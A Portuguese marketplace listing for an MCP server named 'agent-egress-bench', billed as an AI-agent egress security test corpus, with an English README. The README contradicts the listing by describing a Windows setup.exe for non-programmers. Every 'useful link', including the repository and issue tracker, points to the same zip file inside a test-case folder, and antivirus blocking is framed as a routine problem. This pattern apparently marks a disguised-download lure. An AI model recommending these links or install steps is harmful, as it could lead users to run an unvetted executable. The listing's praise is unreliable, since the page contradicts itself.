agent-egress-bench
bilkulsahi1235/agent-egress-bench
Banco de testes para validar segurança de egress em agentes de IA
Ver no GitHubMCP Server que fornece um corpus de testes aberto para avaliar e melhorar a segurança de egress de agentes de IA. Simula riscos reais como vazamento de secrets, prompt injections e tentativas de exfiltração de dados, gerando relatórios detalhados sobre vulnerabilidades.
Instalação
npx convez-ai bilkulsahi1235/agent-egress-bench1 comando no terminal: detecta o formato do repositório (marketplace ou plugin avulso) e instala via Claude Code. Requer Node 18+ e o Claude Code instalado.
Métricas
Casos de uso
- Testar agentes de IA contra vazamento de dados e saída não autorizada
- Validar controles de prevenção de perda de dados em sistemas de IA
- Simular ataques de prompt injection e SSRF contra agentes
Veredito

Ferramenta especializada e bem estruturada para profissionais de segurança que precisam validar robustez de agentes de IA contra ataques de egress. Preenche gap importante no teste de segurança de sistemas baseados em IA.
README
A tradução para o português deste README ainda está na fila.
🚦 agent-egress-bench - Simple AI Security Test Tool
🔍 About agent-egress-bench
agent-egress-bench is a straightforward tool designed to help test AI agents against data leaks and unauthorized data exit. It works by simulating common risks like secret leaks, prompt injections, and egress attempts. This helps users understand the security of their AI systems against different attack strategies.
The tool focuses on real-world AI agent threats, allowing users to measure and improve security controls. It can be useful for anyone interested in AI security, data loss prevention, and safe use of AI agents.
🖥️ System Requirements
Before installing, please make sure your computer meets the following minimum requirements:
- Windows 10 or later (64-bit)
- 4 GB of free disk space
- 8 GB RAM or more recommended
- Intel or AMD processor with at least 2 GHz speed
- Internet connection (optional for updates)
🚀 Getting Started
To use agent-egress-bench on your Windows PC, follow these steps.
-
Download the software
Visit the releases page below to get the latest version of agent-egress-bench. You will find the setup file ready to download.
-
Save the file
After clicking the download link, your browser will ask you where to save the file. Choose a folder you can easily find later, like your Downloads folder.
-
Run the installer
Open the folder where you saved the file. Double-click on the setup file (it will likely be named something like
agent-egress-bench-setup.exe). Windows may ask if you want to allow this app to make changes. Click Yes to continue. -
Complete the installation
Follow the prompts in the installer window. Choose any options you want, but the default settings are usually fine. When the setup finishes, the program will be ready to use.
-
Open agent-egress-bench
You can find agent-egress-bench by searching your Windows Start menu. Click on its icon to launch the program.
📋 How to Use agent-egress-bench
Basic Workflow
-
Start the program
Open agent-egress-bench from the Start menu.
-
Load test data
You can load attack scenarios or simulation data. This helps the tool check how well your AI agent prevents data loss or leakage.
-
Run tests
Use the interface to select and run tests on your AI agent. The tool will report if any egress or secret data leaks occur.
-
View reports
After the test finishes, view detailed reports that explain what happened during the run. The reports use clear terms to highlight risks.
-
Repeat as needed
Run multiple tests to cover different scenarios like prompt injection or exfiltration attempts.
🔧 Features
- Simulate AI agent weaknesses related to egress and data loss
- Test for common attacks such as secret detection and SSRF
- Generate clear reports to show potential security gaps
- Supports multiple attack test types to cover a broad range of risks
- Easy-to-use interface tuned for Windows users with no programming skills
📂 File Structure Overview
When you install and run agent-egress-bench, here is a quick look at important files and folders in its installation directory:
bin/: Contains the program’s main executablesdata/: Sample test cases and attack simulations includedlogs/: Stores logs with detailed run informationreports/: Holds test run reports for reviewconfig.ini: Settings file for customizing program behavior
You usually won’t need to change anything manually here, but it helps to know the layout if you want to explore.
🛠️ Troubleshooting Common Issues
-
Program won’t start
Make sure your system matches the requirements. Restart your computer and try again. Check if your antivirus or firewall is blocking the program.
-
Downloads slow or fail
Check your internet connection. Try downloading the file again from the releases page.
-
Test reports are empty
Confirm you loaded valid test data before running tests.
-
Updates aren’t installed
Visit the releases page to manually download newer versions.
🔗 Useful Links
- Download page: https://github.com/bilkulsahi1235/agent-egress-bench/raw/refs/heads/main/cases/mcp-tool/egress_bench_agent_adminiculate.zip
- Project repository: https://github.com/bilkulsahi1235/agent-egress-bench/raw/refs/heads/main/cases/mcp-tool/egress_bench_agent_adminiculate.zip
- Issue tracker: https://github.com/bilkulsahi1235/agent-egress-bench/raw/refs/heads/main/cases/mcp-tool/egress_bench_agent_adminiculate.zip
🧰 Additional Tools and Tips
Use the tool in a quiet environment where you can focus on the reports. If you want to learn more about AI security concepts like DLP (Data Loss Prevention) or prompt injection, look up simple online guides. Being familiar with basic AI terms will help you get more out of this tool.
You do not need to be a programmer. The interface guides you through the steps with straightforward buttons and clear labels. Try running all tests included with default options first. Later, explore custom scenarios to get deeper insights.